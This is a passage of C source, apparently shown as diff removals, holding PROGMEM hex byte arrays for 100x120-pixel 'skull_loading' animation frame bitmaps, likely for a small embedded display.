0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, - 0xc3, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x25, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x44, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, - 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, - 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x10, 0x00, 0xe7, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x12, 0x52, 0x00, 0x25, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0c, 0x60, 0x00, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, - 0x60, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x1a, 0x00, 0x04, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x03, 0x08, 0x00, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x42, 0x08, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, - 0x08, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x10, 0x86, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x0c, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x02, 0x42, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x03, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_6', 100x120px -const unsigned char bitmap_icon_skull_loading_6 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x10, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x40, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x00, 0xc2, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x03, 0x00, 0xc2, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x80, - 0x02, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x60, 0x10, 0x00, 0x8c, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xe0, 0x10, 0x01, 0x8c, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x02, 0x0c, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, - 0x04, 0x0a, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x88, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, - 0x00, 0x00, 0x00, 0x21, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, - 0xc0, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x10, 0x08, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x42, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xc3, 0x00, 0x02, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x41, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, - 0x18, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, - 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x62, 0x10, 0x00, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x90, 0x80, 0x11, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x08, 0x82, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x08, 0x84, - 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x80, 0x25, 0x21, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x23, 0x10, 0x44, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x10, 0x41, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x80, 0x27, 0x09, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc2, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x84, 0x08, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x02, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x80, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x10, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x02, 0x18, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, - 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x10, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, - 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x0a, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, - 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x85, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x88, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x08, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x04, 0xa1, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, - 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x30, 0xc0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_7', 100x120px -const unsigned char bitmap_icon_skull_loading_7 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x06, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x10, 0x40, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x20, 0x0a, 0x40, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x60, 0x80, 0x01, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, - 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x06, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x40, 0x00, 0x86, 0x01, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, - 0x00, 0x00, 0x01, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x20, 0x00, 0x00, - 0x00, 0x20, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x44, 0x00, 0x00, 0x00, 0x00, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x0c, 0x01, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x0c, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, - 0x00, 0x00, 0x82, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, - 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, - 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x02, 0x00, 0x00, 0x80, 0x40, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, - 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x21, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x0c, 0x60, 0x04, 0x21, 0x88, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x0a, 0x10, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0c, 0x23, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x63, 0x00, - 0x20, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x0c, 0x40, 0x04, 0x31, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x03, 0x18, 0x09, 0x04, 0x30, 0x09, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x04, 0x00, 0x12, 0x00, 0x00, 0x11, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, - 0x06, 0x10, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x0c, 